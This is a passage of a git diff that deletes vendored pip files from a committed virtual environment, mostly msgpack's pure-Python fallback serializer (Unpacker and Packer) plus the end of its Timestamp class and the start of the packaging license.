-            data64 = self.nanoseconds << 34 | self.seconds
-            if data64 & 0xFFFFFFFF00000000 == 0:
-                # nanoseconds is zero and seconds < 2**32, so timestamp 32
-                data = struct.pack("!L", data64)
-            else:
-                # timestamp 64
-                data = struct.pack("!Q", data64)
-        else:
-            # timestamp 96
-            data = struct.pack("!Iq", self.nanoseconds, self.seconds)
-        return data
-
-    @staticmethod
-    def from_unix(unix_sec):
-        """Create a Timestamp from posix timestamp in seconds.
-
-        :param unix_float: Posix timestamp in seconds.
-        :type unix_float: int or float
-        """
-        seconds = int(unix_sec // 1)
-        nanoseconds = int((unix_sec % 1) * 10**9)
-        return Timestamp(seconds, nanoseconds)
-
-    def to_unix(self):
-        """Get the timestamp as a floating-point value.
-
-        :returns: posix timestamp
-        :rtype: float
-        """
-        return self.seconds + self.nanoseconds / 1e9
-
-    @staticmethod
-    def from_unix_nano(unix_ns):
-        """Create a Timestamp from posix timestamp in nanoseconds.
-
-        :param int unix_ns: Posix timestamp in nanoseconds.
-        :rtype: Timestamp
-        """
-        return Timestamp(*divmod(unix_ns, 10**9))
-
-    def to_unix_nano(self):
-        """Get the timestamp as a unixtime in nanoseconds.
-
-        :returns: posix timestamp in nanoseconds
-        :rtype: int
-        """
-        return self.seconds * 10**9 + self.nanoseconds
-
-    def to_datetime(self):
-        """Get the timestamp as a UTC datetime.
-
-        :rtype: `datetime.datetime`
-        """
-        utc = datetime.timezone.utc
-        return datetime.datetime.fromtimestamp(0, utc) + datetime.timedelta(
-            seconds=self.seconds, microseconds=self.nanoseconds // 1000
-        )
-
-    @staticmethod
-    def from_datetime(dt):
-        """Create a Timestamp from datetime with tzinfo.
-
-        :rtype: Timestamp
-        """
-        return Timestamp(seconds=int(dt.timestamp()), nanoseconds=dt.microsecond * 1000)
diff --git a/venv/Lib/site-packages/pip/_vendor/msgpack/fallback.py b/venv/Lib/site-packages/pip/_vendor/msgpack/fallback.py
deleted file mode 100644
index b02e47cfb91a54a7205881ee87a5db2ea8d049a7..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/msgpack/fallback.py
+++ /dev/null
@@ -1,929 +0,0 @@
-"""Fallback pure Python implementation of msgpack"""
-
-import struct
-import sys
-from datetime import datetime as _DateTime
-
-if hasattr(sys, "pypy_version_info"):
-    from __pypy__ import newlist_hint
-    from __pypy__.builders import BytesBuilder
-
-    _USING_STRINGBUILDER = True
-
-    class BytesIO:
-        def __init__(self, s=b""):
-            if s:
-                self.builder = BytesBuilder(len(s))
-                self.builder.append(s)
-            else:
-                self.builder = BytesBuilder()
-
-        def write(self, s):
-            if isinstance(s, memoryview):
-                s = s.tobytes()
-            elif isinstance(s, bytearray):
-                s = bytes(s)
-            self.builder.append(s)
-
-        def getvalue(self):
-            return self.builder.build()
-
-else:
-    from io import BytesIO
-
-    _USING_STRINGBUILDER = False
-
-    def newlist_hint(size):
-        return []
-
-
-from .exceptions import BufferFull, ExtraData, FormatError, OutOfData, StackError
-from .ext import ExtType, Timestamp
-
-EX_SKIP = 0
-EX_CONSTRUCT = 1
-EX_READ_ARRAY_HEADER = 2
-EX_READ_MAP_HEADER = 3
-
-TYPE_IMMEDIATE = 0
-TYPE_ARRAY = 1
-TYPE_MAP = 2
-TYPE_RAW = 3
-TYPE_BIN = 4
-TYPE_EXT = 5
-
-DEFAULT_RECURSE_LIMIT = 511
-
-
-def _check_type_strict(obj, t, type=type, tuple=tuple):
-    if type(t) is tuple:
-        return type(obj) in t
-    else:
-        return type(obj) is t
-
-
-def _get_data_from_buffer(obj):
-    view = memoryview(obj)
-    if view.itemsize != 1:
-        raise ValueError("cannot unpack from multi-byte object")
-    return view
-
-
-def unpackb(packed, **kwargs):
-    """
-    Unpack an object from `packed`.
-
-    Raises ``ExtraData`` when *packed* contains extra bytes.
-    Raises ``ValueError`` when *packed* is incomplete.
-    Raises ``FormatError`` when *packed* is not valid msgpack.
-    Raises ``StackError`` when *packed* contains too nested.
-    Other exceptions can be raised during unpacking.
-
-    See :class:`Unpacker` for options.
-    """
-    unpacker = Unpacker(None, max_buffer_size=len(packed), **kwargs)
-    unpacker.feed(packed)
-    try:
-        ret = unpacker._unpack()
-    except OutOfData:
-        raise ValueError("Unpack failed: incomplete input")
-    except RecursionError:
-        raise StackError
-    if unpacker._got_extradata():
-        raise ExtraData(ret, unpacker._get_extradata())
-    return ret
-
-
-_NO_FORMAT_USED = ""
-_MSGPACK_HEADERS = {
-    0xC4: (1, _NO_FORMAT_USED, TYPE_BIN),
-    0xC5: (2, ">H", TYPE_BIN),
-    0xC6: (4, ">I", TYPE_BIN),
-    0xC7: (2, "Bb", TYPE_EXT),
-    0xC8: (3, ">Hb", TYPE_EXT),
-    0xC9: (5, ">Ib", TYPE_EXT),
-    0xCA: (4, ">f"),
-    0xCB: (8, ">d"),
-    0xCC: (1, _NO_FORMAT_USED),
-    0xCD: (2, ">H"),
-    0xCE: (4, ">I"),
-    0xCF: (8, ">Q"),
-    0xD0: (1, "b"),
-    0xD1: (2, ">h"),
-    0xD2: (4, ">i"),
-    0xD3: (8, ">q"),
-    0xD4: (1, "b1s", TYPE_EXT),
-    0xD5: (2, "b2s", TYPE_EXT),
-    0xD6: (4, "b4s", TYPE_EXT),
-    0xD7: (8, "b8s", TYPE_EXT),
-    0xD8: (16, "b16s", TYPE_EXT),
-    0xD9: (1, _NO_FORMAT_USED, TYPE_RAW),
-    0xDA: (2, ">H", TYPE_RAW),
-    0xDB: (4, ">I", TYPE_RAW),
-    0xDC: (2, ">H", TYPE_ARRAY),
-    0xDD: (4, ">I", TYPE_ARRAY),
-    0xDE: (2, ">H", TYPE_MAP),
-    0xDF: (4, ">I", TYPE_MAP),
-}
-
-
-class Unpacker:
-    """Streaming unpacker.
-
-    Arguments:
-
-    :param file_like:
-        File-like object having `.read(n)` method.
-        If specified, unpacker reads serialized data from it and `.feed()` is not usable.
-
-    :param int read_size:
-        Used as `file_like.read(read_size)`. (default: `min(16*1024, max_buffer_size)`)
-
-    :param bool use_list:
-        If true, unpack msgpack array to Python list.
-        Otherwise, unpack to Python tuple. (default: True)
-
-    :param bool raw:
-        If true, unpack msgpack raw to Python bytes.
-        Otherwise, unpack to Python str by decoding with UTF-8 encoding (default).
-
-    :param int timestamp:
-        Control how timestamp type is unpacked:
-
-            0 - Timestamp
-            1 - float  (Seconds from the EPOCH)
-            2 - int  (Nanoseconds from the EPOCH)
-            3 - datetime.datetime  (UTC).
-
-    :param bool strict_map_key:
-        If true (default), only str or bytes are accepted for map (dict) keys.
-
-    :param object_hook:
-        When specified, it should be callable.
-        Unpacker calls it with a dict argument after unpacking msgpack map.
-        (See also simplejson)
-
-    :param object_pairs_hook:
-        When specified, it should be callable.
-        Unpacker calls it with a list of key-value pairs after unpacking msgpack map.
-        (See also simplejson)
-
-    :param str unicode_errors:
-        The error handler for decoding unicode. (default: 'strict')
-        This option should be used only when you have msgpack data which
-        contains invalid UTF-8 string.
-
-    :param int max_buffer_size:
-        Limits size of data waiting unpacked.  0 means 2**32-1.
-        The default value is 100*1024*1024 (100MiB).
-        Raises `BufferFull` exception when it is insufficient.
-        You should set this parameter when unpacking data from untrusted source.
-
-    :param int max_str_len:
-        Deprecated, use *max_buffer_size* instead.
-        Limits max length of str. (default: max_buffer_size)
-
-    :param int max_bin_len:
-        Deprecated, use *max_buffer_size* instead.
-        Limits max length of bin. (default: max_buffer_size)
-
-    :param int max_array_len:
-        Limits max length of array.
-        (default: max_buffer_size)
-
-    :param int max_map_len:
-        Limits max length of map.
-        (default: max_buffer_size//2)
-
-    :param int max_ext_len:
-        Deprecated, use *max_buffer_size* instead.
-        Limits max size of ext type.  (default: max_buffer_size)
-
-    Example of streaming deserialize from file-like object::
-
-        unpacker = Unpacker(file_like)
-        for o in unpacker:
-            process(o)
-
-    Example of streaming deserialize from socket::
-
-        unpacker = Unpacker()
-        while True:
-            buf = sock.recv(1024**2)
-            if not buf:
-                break
-            unpacker.feed(buf)
-            for o in unpacker:
-                process(o)
-
-    Raises ``ExtraData`` when *packed* contains extra bytes.
-    Raises ``OutOfData`` when *packed* is incomplete.
-    Raises ``FormatError`` when *packed* is not valid msgpack.
-    Raises ``StackError`` when *packed* contains too nested.
-    Other exceptions can be raised during unpacking.
-    """
-
-    def __init__(
-        self,
-        file_like=None,
-        *,
-        read_size=0,
-        use_list=True,
-        raw=False,
-        timestamp=0,
-        strict_map_key=True,
-        object_hook=None,
-        object_pairs_hook=None,
-        list_hook=None,
-        unicode_errors=None,
-        max_buffer_size=100 * 1024 * 1024,
-        ext_hook=ExtType,
-        max_str_len=-1,
-        max_bin_len=-1,
-        max_array_len=-1,
-        max_map_len=-1,
-        max_ext_len=-1,
-    ):
-        if unicode_errors is None:
-            unicode_errors = "strict"
-
-        if file_like is None:
-            self._feeding = True
-        else:
-            if not callable(file_like.read):
-                raise TypeError("`file_like.read` must be callable")
-            self.file_like = file_like
-            self._feeding = False
-
-        #: array of bytes fed.
-        self._buffer = bytearray()
-        #: Which position we currently reads
-        self._buff_i = 0
-
-        # When Unpacker is used as an iterable, between the calls to next(),
-        # the buffer is not "consumed" completely, for efficiency sake.
-        # Instead, it is done sloppily.  To make sure we raise BufferFull at
-        # the correct moments, we have to keep track of how sloppy we were.
-        # Furthermore, when the buffer is incomplete (that is: in the case
-        # we raise an OutOfData) we need to rollback the buffer to the correct
-        # state, which _buf_checkpoint records.
-        self._buf_checkpoint = 0
-
-        if not max_buffer_size:
-            max_buffer_size = 2**31 - 1
-        if max_str_len == -1:
-            max_str_len = max_buffer_size
-        if max_bin_len == -1:
-            max_bin_len = max_buffer_size
-        if max_array_len == -1:
-            max_array_len = max_buffer_size
-        if max_map_len == -1:
-            max_map_len = max_buffer_size // 2
-        if max_ext_len == -1:
-            max_ext_len = max_buffer_size
-
-        self._max_buffer_size = max_buffer_size
-        if read_size > self._max_buffer_size:
-            raise ValueError("read_size must be smaller than max_buffer_size")
-        self._read_size = read_size or min(self._max_buffer_size, 16 * 1024)
-        self._raw = bool(raw)
-        self._strict_map_key = bool(strict_map_key)
-        self._unicode_errors = unicode_errors
-        self._use_list = use_list
-        if not (0 <= timestamp <= 3):
-            raise ValueError("timestamp must be 0..3")
-        self._timestamp = timestamp
-        self._list_hook = list_hook
-        self._object_hook = object_hook
-        self._object_pairs_hook = object_pairs_hook
-        self._ext_hook = ext_hook
-        self._max_str_len = max_str_len
-        self._max_bin_len = max_bin_len
-        self._max_array_len = max_array_len
-        self._max_map_len = max_map_len
-        self._max_ext_len = max_ext_len
-        self._stream_offset = 0
-
-        if list_hook is not None and not callable(list_hook):
-            raise TypeError("`list_hook` is not callable")
-        if object_hook is not None and not callable(object_hook):
-            raise TypeError("`object_hook` is not callable")
-        if object_pairs_hook is not None and not callable(object_pairs_hook):
-            raise TypeError("`object_pairs_hook` is not callable")
-        if object_hook is not None and object_pairs_hook is not None:
-            raise TypeError("object_pairs_hook and object_hook are mutually exclusive")
-        if not callable(ext_hook):
-            raise TypeError("`ext_hook` is not callable")
-
-    def feed(self, next_bytes):
-        assert self._feeding
-        view = _get_data_from_buffer(next_bytes)
-        if len(self._buffer) - self._buff_i + len(view) > self._max_buffer_size:
-            raise BufferFull
-
-        # Strip buffer before checkpoint before reading file.
-        if self._buf_checkpoint > 0:
-            del self._buffer[: self._buf_checkpoint]
-            self._buff_i -= self._buf_checkpoint
-            self._buf_checkpoint = 0
-
-        # Use extend here: INPLACE_ADD += doesn't reliably typecast memoryview in jython
-        self._buffer.extend(view)
-        view.release()
-
-    def _consume(self):
-        """Gets rid of the used parts of the buffer."""
-        self._stream_offset += self._buff_i - self._buf_checkpoint
-        self._buf_checkpoint = self._buff_i
-
-    def _got_extradata(self):
-        return self._buff_i < len(self._buffer)
-
-    def _get_extradata(self):
-        return self._buffer[self._buff_i :]
-
-    def read_bytes(self, n):
-        ret = self._read(n, raise_outofdata=False)
-        self._consume()
-        return ret
-
-    def _read(self, n, raise_outofdata=True):
-        # (int) -> bytearray
-        self._reserve(n, raise_outofdata=raise_outofdata)
-        i = self._buff_i
-        ret = self._buffer[i : i + n]
-        self._buff_i = i + len(ret)
-        return ret
-
-    def _reserve(self, n, raise_outofdata=True):
-        remain_bytes = len(self._buffer) - self._buff_i - n
-
-        # Fast path: buffer has n bytes already
-        if remain_bytes >= 0:
-            return
-
-        if self._feeding:
-            self._buff_i = self._buf_checkpoint
-            raise OutOfData
-
-        # Strip buffer before checkpoint before reading file.
-        if self._buf_checkpoint > 0:
-            del self._buffer[: self._buf_checkpoint]
-            self._buff_i -= self._buf_checkpoint
-            self._buf_checkpoint = 0
-
-        # Read from file
-        remain_bytes = -remain_bytes
-        if remain_bytes + len(self._buffer) > self._max_buffer_size:
-            raise BufferFull
-        while remain_bytes > 0:
-            to_read_bytes = max(self._read_size, remain_bytes)
-            read_data = self.file_like.read(to_read_bytes)
-            if not read_data:
-                break
-            assert isinstance(read_data, bytes)
-            self._buffer += read_data
-            remain_bytes -= len(read_data)
-
-        if len(self._buffer) < n + self._buff_i and raise_outofdata:
-            self._buff_i = 0  # rollback
-            raise OutOfData
-
-    def _read_header(self):
-        typ = TYPE_IMMEDIATE
-        n = 0
-        obj = None
-        self._reserve(1)
-        b = self._buffer[self._buff_i]
-        self._buff_i += 1
-        if b & 0b10000000 == 0:
-            obj = b
-        elif b & 0b11100000 == 0b11100000:
-            obj = -1 - (b ^ 0xFF)
-        elif b & 0b11100000 == 0b10100000:
-            n = b & 0b00011111
-            typ = TYPE_RAW
-            if n > self._max_str_len:
-                raise ValueError(f"{n} exceeds max_str_len({self._max_str_len})")
-            obj = self._read(n)
-        elif b & 0b11110000 == 0b10010000:
-            n = b & 0b00001111
-            typ = TYPE_ARRAY
-            if n > self._max_array_len:
-                raise ValueError(f"{n} exceeds max_array_len({self._max_array_len})")
-        elif b & 0b11110000 == 0b10000000:
-            n = b & 0b00001111
-            typ = TYPE_MAP
-            if n > self._max_map_len:
-                raise ValueError(f"{n} exceeds max_map_len({self._max_map_len})")
-        elif b == 0xC0:
-            obj = None
-        elif b == 0xC2:
-            obj = False
-        elif b == 0xC3:
-            obj = True
-        elif 0xC4 <= b <= 0xC6:
-            size, fmt, typ = _MSGPACK_HEADERS[b]
-            self._reserve(size)
-            if len(fmt) > 0:
-                n = struct.unpack_from(fmt, self._buffer, self._buff_i)[0]
-            else:
-                n = self._buffer[self._buff_i]
-            self._buff_i += size
-            if n > self._max_bin_len:
-                raise ValueError(f"{n} exceeds max_bin_len({self._max_bin_len})")
-            obj = self._read(n)
-        elif 0xC7 <= b <= 0xC9:
-            size, fmt, typ = _MSGPACK_HEADERS[b]
-            self._reserve(size)
-            L, n = struct.unpack_from(fmt, self._buffer, self._buff_i)
-            self._buff_i += size
-            if L > self._max_ext_len:
-                raise ValueError(f"{L} exceeds max_ext_len({self._max_ext_len})")
-            obj = self._read(L)
-        elif 0xCA <= b <= 0xD3:
-            size, fmt = _MSGPACK_HEADERS[b]
-            self._reserve(size)
-            if len(fmt) > 0:
-                obj = struct.unpack_from(fmt, self._buffer, self._buff_i)[0]
-            else:
-                obj = self._buffer[self._buff_i]
-            self._buff_i += size
-        elif 0xD4 <= b <= 0xD8:
-            size, fmt, typ = _MSGPACK_HEADERS[b]
-            if self._max_ext_len < size:
-                raise ValueError(f"{size} exceeds max_ext_len({self._max_ext_len})")
-            self._reserve(size + 1)
-            n, obj = struct.unpack_from(fmt, self._buffer, self._buff_i)
-            self._buff_i += size + 1
-        elif 0xD9 <= b <= 0xDB:
-            size, fmt, typ = _MSGPACK_HEADERS[b]
-            self._reserve(size)
-            if len(fmt) > 0:
-                (n,) = struct.unpack_from(fmt, self._buffer, self._buff_i)
-            else:
-                n = self._buffer[self._buff_i]
-            self._buff_i += size
-            if n > self._max_str_len:
-                raise ValueError(f"{n} exceeds max_str_len({self._max_str_len})")
-            obj = self._read(n)
-        elif 0xDC <= b <= 0xDD:
-            size, fmt, typ = _MSGPACK_HEADERS[b]
-            self._reserve(size)
-            (n,) = struct.unpack_from(fmt, self._buffer, self._buff_i)
-            self._buff_i += size
-            if n > self._max_array_len:
-                raise ValueError(f"{n} exceeds max_array_len({self._max_array_len})")
-        elif 0xDE <= b <= 0xDF:
-            size, fmt, typ = _MSGPACK_HEADERS[b]
-            self._reserve(size)
-            (n,) = struct.unpack_from(fmt, self._buffer, self._buff_i)
-            self._buff_i += size
-            if n > self._max_map_len:
-                raise ValueError(f"{n} exceeds max_map_len({self._max_map_len})")
-        else:
-            raise FormatError("Unknown header: 0x%x" % b)
-        return typ, n, obj
-
-    def _unpack(self, execute=EX_CONSTRUCT):
-        typ, n, obj = self._read_header()
-
-        if execute == EX_READ_ARRAY_HEADER:
-            if typ != TYPE_ARRAY:
-                raise ValueError("Expected array")
-            return n
-        if execute == EX_READ_MAP_HEADER:
-            if typ != TYPE_MAP:
-                raise ValueError("Expected map")
-            return n
-        # TODO should we eliminate the recursion?
-        if typ == TYPE_ARRAY:
-            if execute == EX_SKIP:
-                for i in range(n):
-                    # TODO check whether we need to call `list_hook`
-                    self._unpack(EX_SKIP)
-                return
-            ret = newlist_hint(n)
-            for i in range(n):
-                ret.append(self._unpack(EX_CONSTRUCT))
-            if self._list_hook is not None:
-                ret = self._list_hook(ret)
-            # TODO is the interaction between `list_hook` and `use_list` ok?
-            return ret if self._use_list else tuple(ret)
-        if typ == TYPE_MAP:
-            if execute == EX_SKIP:
-                for i in range(n):
-                    # TODO check whether we need to call hooks
-                    self._unpack(EX_SKIP)
-                    self._unpack(EX_SKIP)
-                return
-            if self._object_pairs_hook is not None:
-                ret = self._object_pairs_hook(
-                    (self._unpack(EX_CONSTRUCT), self._unpack(EX_CONSTRUCT)) for _ in range(n)
-                )
-            else:
-                ret = {}
-                for _ in range(n):
-                    key = self._unpack(EX_CONSTRUCT)
-                    if self._strict_map_key and type(key) not in (str, bytes):
-                        raise ValueError("%s is not allowed for map key" % str(type(key)))
-                    if isinstance(key, str):
-                        key = sys.intern(key)
-                    ret[key] = self._unpack(EX_CONSTRUCT)
-                if self._object_hook is not None:
-                    ret = self._object_hook(ret)
-            return ret
-        if execute == EX_SKIP:
-            return
-        if typ == TYPE_RAW:
-            if self._raw:
-                obj = bytes(obj)
-            else:
-                obj = obj.decode("utf_8", self._unicode_errors)
-            return obj
-        if typ == TYPE_BIN:
-            return bytes(obj)
-        if typ == TYPE_EXT:
-            if n == -1:  # timestamp
-                ts = Timestamp.from_bytes(bytes(obj))
-                if self._timestamp == 1:
-                    return ts.to_unix()
-                elif self._timestamp == 2:
-                    return ts.to_unix_nano()
-                elif self._timestamp == 3:
-                    return ts.to_datetime()
-                else:
-                    return ts
-            else:
-                return self._ext_hook(n, bytes(obj))
-        assert typ == TYPE_IMMEDIATE
-        return obj
-
-    def __iter__(self):
-        return self
-
-    def __next__(self):
-        try:
-            ret = self._unpack(EX_CONSTRUCT)
-            self._consume()
-            return ret
-        except OutOfData:
-            self._consume()
-            raise StopIteration
-        except RecursionError:
-            raise StackError
-
-    next = __next__
-
-    def skip(self):
-        self._unpack(EX_SKIP)
-        self._consume()
-
-    def unpack(self):
-        try:
-            ret = self._unpack(EX_CONSTRUCT)
-        except RecursionError:
-            raise StackError
-        self._consume()
-        return ret
-
-    def read_array_header(self):
-        ret = self._unpack(EX_READ_ARRAY_HEADER)
-        self._consume()
-        return ret
-
-    def read_map_header(self):
-        ret = self._unpack(EX_READ_MAP_HEADER)
-        self._consume()
-        return ret
-
-    def tell(self):
-        return self._stream_offset
-
-
-class Packer:
-    """
-    MessagePack Packer
-
-    Usage::
-
-        packer = Packer()
-        astream.write(packer.pack(a))
-        astream.write(packer.pack(b))
-
-    Packer's constructor has some keyword arguments:
-
-    :param default:
-        When specified, it should be callable.
-        Convert user type to builtin type that Packer supports.
-        See also simplejson's document.
-
-    :param bool use_single_float:
-        Use single precision float type for float. (default: False)
-
-    :param bool autoreset:
-        Reset buffer after each pack and return its content as `bytes`. (default: True).
-        If set this to false, use `bytes()` to get content and `.reset()` to clear buffer.
-
-    :param bool use_bin_type:
-        Use bin type introduced in msgpack spec 2.0 for bytes.
-        It also enables str8 type for unicode. (default: True)
-
-    :param bool strict_types:
-        If set to true, types will be checked to be exact. Derived classes
-        from serializable types will not be serialized and will be
-        treated as unsupported type and forwarded to default.
-        Additionally tuples will not be serialized as lists.
-        This is useful when trying to implement accurate serialization
-        for python types.
-
-    :param bool datetime:
-        If set to true, datetime with tzinfo is packed into Timestamp type.
-        Note that the tzinfo is stripped in the timestamp.
-        You can get UTC datetime with `timestamp=3` option of the Unpacker.
-
-    :param str unicode_errors:
-        The error handler for encoding unicode. (default: 'strict')
-        DO NOT USE THIS!!  This option is kept for very specific usage.
-
-    :param int buf_size:
-        Internal buffer size. This option is used only for C implementation.
-    """
-
-    def __init__(
-        self,
-        *,
-        default=None,
-        use_single_float=False,
-        autoreset=True,
-        use_bin_type=True,
-        strict_types=False,
-        datetime=False,
-        unicode_errors=None,
-        buf_size=None,
-    ):
-        self._strict_types = strict_types
-        self._use_float = use_single_float
-        self._autoreset = autoreset
-        self._use_bin_type = use_bin_type
-        self._buffer = BytesIO()
-        self._datetime = bool(datetime)
-        self._unicode_errors = unicode_errors or "strict"
-        if default is not None and not callable(default):
-            raise TypeError("default must be callable")
-        self._default = default
-
-    def _pack(
-        self,
-        obj,
-        nest_limit=DEFAULT_RECURSE_LIMIT,
-        check=isinstance,
-        check_type_strict=_check_type_strict,
-    ):
-        default_used = False
-        if self._strict_types:
-            check = check_type_strict
-            list_types = list
-        else:
-            list_types = (list, tuple)
-        while True:
-            if nest_limit < 0:
-                raise ValueError("recursion limit exceeded")
-            if obj is None:
-                return self._buffer.write(b"\xc0")
-            if check(obj, bool):
-                if obj:
-                    return self._buffer.write(b"\xc3")
-                return self._buffer.write(b"\xc2")
-            if check(obj, int):
-                if 0 <= obj < 0x80:
-                    return self._buffer.write(struct.pack("B", obj))
-                if -0x20 <= obj < 0:
-                    return self._buffer.write(struct.pack("b", obj))
-                if 0x80 <= obj <= 0xFF:
-                    return self._buffer.write(struct.pack("BB", 0xCC, obj))
-                if -0x80 <= obj < 0:
-                    return self._buffer.write(struct.pack(">Bb", 0xD0, obj))
-                if 0xFF < obj <= 0xFFFF:
-                    return self._buffer.write(struct.pack(">BH", 0xCD, obj))
-                if -0x8000 <= obj < -0x80:
-                    return self._buffer.write(struct.pack(">Bh", 0xD1, obj))
-                if 0xFFFF < obj <= 0xFFFFFFFF:
-                    return self._buffer.write(struct.pack(">BI", 0xCE, obj))
-                if -0x80000000 <= obj < -0x8000:
-                    return self._buffer.write(struct.pack(">Bi", 0xD2, obj))
-                if 0xFFFFFFFF < obj <= 0xFFFFFFFFFFFFFFFF:
-                    return self._buffer.write(struct.pack(">BQ", 0xCF, obj))
-                if -0x8000000000000000 <= obj < -0x80000000:
-                    return self._buffer.write(struct.pack(">Bq", 0xD3, obj))
-                if not default_used and self._default is not None:
-                    obj = self._default(obj)
-                    default_used = True
-                    continue
-                raise OverflowError("Integer value out of range")
-            if check(obj, (bytes, bytearray)):
-                n = len(obj)
-                if n >= 2**32:
-                    raise ValueError("%s is too large" % type(obj).__name__)
-                self._pack_bin_header(n)
-                return self._buffer.write(obj)
-            if check(obj, str):
-                obj = obj.encode("utf-8", self._unicode_errors)
-                n = len(obj)
-                if n >= 2**32:
-                    raise ValueError("String is too large")
-                self._pack_raw_header(n)
-                return self._buffer.write(obj)
-            if check(obj, memoryview):
-                n = obj.nbytes
-                if n >= 2**32:
-                    raise ValueError("Memoryview is too large")
-                self._pack_bin_header(n)
-                return self._buffer.write(obj)
-            if check(obj, float):
-                if self._use_float:
-                    return self._buffer.write(struct.pack(">Bf", 0xCA, obj))
-                return self._buffer.write(struct.pack(">Bd", 0xCB, obj))
-            if check(obj, (ExtType, Timestamp)):
-                if check(obj, Timestamp):
-                    code = -1
-                    data = obj.to_bytes()
-                else:
-                    code = obj.code
-                    data = obj.data
-                assert isinstance(code, int)
-                assert isinstance(data, bytes)
-                L = len(data)
-                if L == 1:
-                    self._buffer.write(b"\xd4")
-                elif L == 2:
-                    self._buffer.write(b"\xd5")
-                elif L == 4:
-                    self._buffer.write(b"\xd6")
-                elif L == 8:
-                    self._buffer.write(b"\xd7")
-                elif L == 16:
-                    self._buffer.write(b"\xd8")
-                elif L <= 0xFF:
-                    self._buffer.write(struct.pack(">BB", 0xC7, L))
-                elif L <= 0xFFFF:
-                    self._buffer.write(struct.pack(">BH", 0xC8, L))
-                else:
-                    self._buffer.write(struct.pack(">BI", 0xC9, L))
-                self._buffer.write(struct.pack("b", code))
-                self._buffer.write(data)
-                return
-            if check(obj, list_types):
-                n = len(obj)
-                self._pack_array_header(n)
-                for i in range(n):
-                    self._pack(obj[i], nest_limit - 1)
-                return
-            if check(obj, dict):
-                return self._pack_map_pairs(len(obj), obj.items(), nest_limit - 1)
-
-            if self._datetime and check(obj, _DateTime) and obj.tzinfo is not None:
-                obj = Timestamp.from_datetime(obj)
-                default_used = 1
-                continue
-
-            if not default_used and self._default is not None:
-                obj = self._default(obj)
-                default_used = 1
-                continue
-
-            if self._datetime and check(obj, _DateTime):
-                raise ValueError(f"Cannot serialize {obj!r} where tzinfo=None")
-
-            raise TypeError(f"Cannot serialize {obj!r}")
-
-    def pack(self, obj):
-        try:
-            self._pack(obj)
-        except:
-            self._buffer = BytesIO()  # force reset
-            raise
-        if self._autoreset:
-            ret = self._buffer.getvalue()
-            self._buffer = BytesIO()
-            return ret
-
-    def pack_map_pairs(self, pairs):
-        self._pack_map_pairs(len(pairs), pairs)
-        if self._autoreset:
-            ret = self._buffer.getvalue()
-            self._buffer = BytesIO()
-            return ret
-
-    def pack_array_header(self, n):
-        if n >= 2**32:
-            raise ValueError
-        self._pack_array_header(n)
-        if self._autoreset:
-            ret = self._buffer.getvalue()
-            self._buffer = BytesIO()
-            return ret
-
-    def pack_map_header(self, n):
-        if n >= 2**32:
-            raise ValueError
-        self._pack_map_header(n)
-        if self._autoreset:
-            ret = self._buffer.getvalue()
-            self._buffer = BytesIO()
-            return ret
-
-    def pack_ext_type(self, typecode, data):
-        if not isinstance(typecode, int):
-            raise TypeError("typecode must have int type.")
-        if not 0 <= typecode <= 127:
-            raise ValueError("typecode should be 0-127")
-        if not isinstance(data, bytes):
-            raise TypeError("data must have bytes type")
-        L = len(data)
-        if L > 0xFFFFFFFF:
-            raise ValueError("Too large data")
-        if L == 1:
-            self._buffer.write(b"\xd4")
-        elif L == 2:
-            self._buffer.write(b"\xd5")
-        elif L == 4:
-            self._buffer.write(b"\xd6")
-        elif L == 8:
-            self._buffer.write(b"\xd7")
-        elif L == 16:
-            self._buffer.write(b"\xd8")
-        elif L <= 0xFF:
-            self._buffer.write(b"\xc7" + struct.pack("B", L))
-        elif L <= 0xFFFF:
-            self._buffer.write(b"\xc8" + struct.pack(">H", L))
-        else:
-            self._buffer.write(b"\xc9" + struct.pack(">I", L))
-        self._buffer.write(struct.pack("B", typecode))
-        self._buffer.write(data)
-
-    def _pack_array_header(self, n):
-        if n <= 0x0F:
-            return self._buffer.write(struct.pack("B", 0x90 + n))
-        if n <= 0xFFFF:
-            return self._buffer.write(struct.pack(">BH", 0xDC, n))
-        if n <= 0xFFFFFFFF:
-            return self._buffer.write(struct.pack(">BI", 0xDD, n))
-        raise ValueError("Array is too large")
-
-    def _pack_map_header(self, n):
-        if n <= 0x0F:
-            return self._buffer.write(struct.pack("B", 0x80 + n))
-        if n <= 0xFFFF:
-            return self._buffer.write(struct.pack(">BH", 0xDE, n))
-        if n <= 0xFFFFFFFF:
-            return self._buffer.write(struct.pack(">BI", 0xDF, n))
-        raise ValueError("Dict is too large")
-
-    def _pack_map_pairs(self, n, pairs, nest_limit=DEFAULT_RECURSE_LIMIT):
-        self._pack_map_header(n)
-        for k, v in pairs:
-            self._pack(k, nest_limit - 1)
-            self._pack(v, nest_limit - 1)
-
-    def _pack_raw_header(self, n):
-        if n <= 0x1F:
-            self._buffer.write(struct.pack("B", 0xA0 + n))
-        elif self._use_bin_type and n <= 0xFF:
-            self._buffer.write(struct.pack(">BB", 0xD9, n))
-        elif n <= 0xFFFF:
-            self._buffer.write(struct.pack(">BH", 0xDA, n))
-        elif n <= 0xFFFFFFFF:
-            self._buffer.write(struct.pack(">BI", 0xDB, n))
-        else:
-            raise ValueError("Raw is too large")
-
-    def _pack_bin_header(self, n):
-        if not self._use_bin_type:
-            return self._pack_raw_header(n)
-        elif n <= 0xFF:
-            return self._buffer.write(struct.pack(">BB", 0xC4, n))
-        elif n <= 0xFFFF:
-            return self._buffer.write(struct.pack(">BH", 0xC5, n))
-        elif n <= 0xFFFFFFFF:
-            return self._buffer.write(struct.pack(">BI", 0xC6, n))
-        else:
-            raise ValueError("Bin is too large")
-
-    def bytes(self):
-        """Return internal buffer contents as bytes object"""
-        return self._buffer.getvalue()
-
-    def reset(self):
-        """Reset internal buffer.
-
-        This method is useful only when autoreset=False.
-        """
-        self._buffer = BytesIO()
-
-    def getbuffer(self):
-        """Return view of internal buffer."""
-        if _USING_STRINGBUILDER:
-            return memoryview(self.bytes())
-        else:
-            return self._buffer.getbuffer()
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE b/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE
deleted file mode 100644
index 6f62d44e4ef733c0e713afcd2371fed7f2b3de67..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE
+++ /dev/null
@@ -1,3 +0,0 @@
-This software is made available under the terms of *either* of the licenses
-found in LICENSE.APACHE or LICENSE.BSD. Contributions to this software is made
-under the terms of *both* these licenses.
